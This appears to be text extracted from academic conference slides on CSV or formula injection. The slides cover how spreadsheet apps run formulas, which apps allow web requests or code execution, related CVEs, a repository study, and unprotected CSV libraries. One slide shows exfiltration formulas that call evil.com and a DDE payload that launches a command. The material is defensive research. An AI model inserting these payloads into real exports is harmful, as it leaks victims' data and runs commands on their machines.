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Often contains sensitive information

Contains user-controlled data

Occur in various forms and workflows
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CSV
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User-controlled data

Injection vulnerability

Are we secure here?



Formulas
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• Perform calculations or manipulate data within a cell

• Available in all typical spreadsheet applications

• Examples:
• COUNT, SUM, AVERAGE   → aggregate data

• CONCAT, LOWER, UPPER  → text processing

• WEBSERVICE, IMAGE        → Load external resources

2025-08-12 6



Viewer as Execution Engine

Comma Separated Vulnerabilities2025-08-12 7

• a



Viewer as Execution Engine

Comma Separated Vulnerabilities2025-08-12 7

• a =IF(C2 < DATE(2021,1,1), B2 * 0.16, B2 * 0.19)
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Viewer as Execution Engine
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• a =IMAGE("https://cdn.kobo.com/book-images/a6bdd3f5-ba60-4ad3-
8f6b-5f1427021961/353/569/90/False/les-miserables-305.jpg")



Attack Scenario
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a
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Interprets data and 
may execute logic
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Plaintext format
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Header



CSV Anatomy
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Each line represents a single entry



CSV Anatomy
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Values separated by comma



CSV Anatomy
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Formulas



Interesting Formulas

• WEBSERVICE(url)
• =WEBSERVICE(“http://evil.com/q=“&A1)

• IMAGE(source, [alt_text], [sizing], [height], [width])
• =IMAGE(“https://evil.com/q=“&A1, “hacker”, 1)

• CMD
• =cmd|'/C calc’!A0
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Interesting Formulas

• WEBSERVICE(url)
• =WEBSERVICE(“http://evil.com/q=“&A1)

• IMAGE(source, [alt_text], [sizing], [height], [width])
• =IMAGE(“https://evil.com/q=“&A1, “hacker”, 1)

• CMD
• =cmd|'/C calc’!A0

• Only Excel

• Not part of the official documentation
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Full Attack Scenario
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Spreadsheet Behavior
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Application Type Concat Ranges Web Request Execution Code Execution

Excel Online ✓ ✓ 𐄂
Google Sheets Online ✓ 𐄂 𐄂
Zoho Sheets Online ✓ 𐄂 𐄂

Excel Offline ✓ ✓ ✓ / 𐄂
Libre Office Offline ✓ ✓ 𐄂
Open Office Offline 𐄂 ✓ 𐄂

Apple Numbers Offline ✓ 𐄂 𐄂
Only Office Offline ✓ 𐄂 𐄂

Airtable Offline 𐄂 𐄂 𐄂
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Windows / Apple
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Does this already happen?
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“CSV Injection [..] exists in the export feature in Workday via a value 
(provided by a low-privileged user in a contact form field) that is 
mishandled in a CSV export.”
CVE-2019-12134
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“CSV Injection [..] exists in the export feature in Workday via a value 
(provided by a low-privileged user in a contact form field) that is 
mishandled in a CSV export.”
CVE-2019-12134

“Platform System Manager in IBM Cloud Pak System 2.3 is 
potentially vulnerable to CSV Injection. A remote attacker could 
execute arbitrary commands on the system, caused by improper 
validation of csv file contents.”
CVE-2019-4521

“The SAP Application Interface Framework (Message Dashboard) [..] 
allows an Excel formula injection. An authorized attacker can inject 
arbitrary Excel formulas[..]. Once the victim opens the downloaded 
Excel document, the formula will be executed. ”
CVE-2023-29109



Attack Insert Phase
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Attack Export Phase
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CSVScan
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flows
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Rapter1990/Shopme
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Rapter1990/Shopme



Results
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156 repositories

107 applications

66 buildable apps

45 analyzable apps

8 apps with e2e flow



Results
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List reasons why not vuln with red circles

Application # DB Flows # CSV Flows Vuln

ags4436/account-management-system 3 1 𐄂
cenoteandoDB/cenoteando 6 1 ✓

cuonganh/EmployeeManagement 1 1 𐄂
Maurisan4011/WebAppJava-Spring-Boot 2 1 ✓

mhxx307/EasyShop-Springboot-eCommerce 4 1 𐄂
Rapter1990/Shopme 16 4 ✓

toyamarodrigo/springboot-invoice-system 3 1 ✓

yurets1/telegram 1 3 𐄂
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no different user roles
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only a number can be injected



Protection Mechanisms

• Investigated libraries of our study for protection mechanisms
• Apache Commons CSV, FastCSV, OpenCSV, SuperCSV

Comma Separated Vulnerabilities2025-08-12 30



Protection Mechanisms

• Investigated libraries of our study for protection mechanisms
• Apache Commons CSV, FastCSV, OpenCSV, SuperCSV

Comma Separated Vulnerabilities2025-08-12 30

No one had any protection for formulas



Protection Mechanisms

• Investigated libraries of our study for protection mechanisms
• Apache Commons CSV, FastCSV, OpenCSV, SuperCSV

Comma Separated Vulnerabilities2025-08-12 30

No one had any protection for formulas



Summary

• CSVs are only plaintext 

• The files are self generated

• Unclear warnings

• Unprotected libraries 
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spreadsheet apps aren’t only viewers

trustworthy

Shifts burden to app developer

Risk of skipping warnings



Thanks for listening :)
Questions?

m.karl@tu-braunschweig.de
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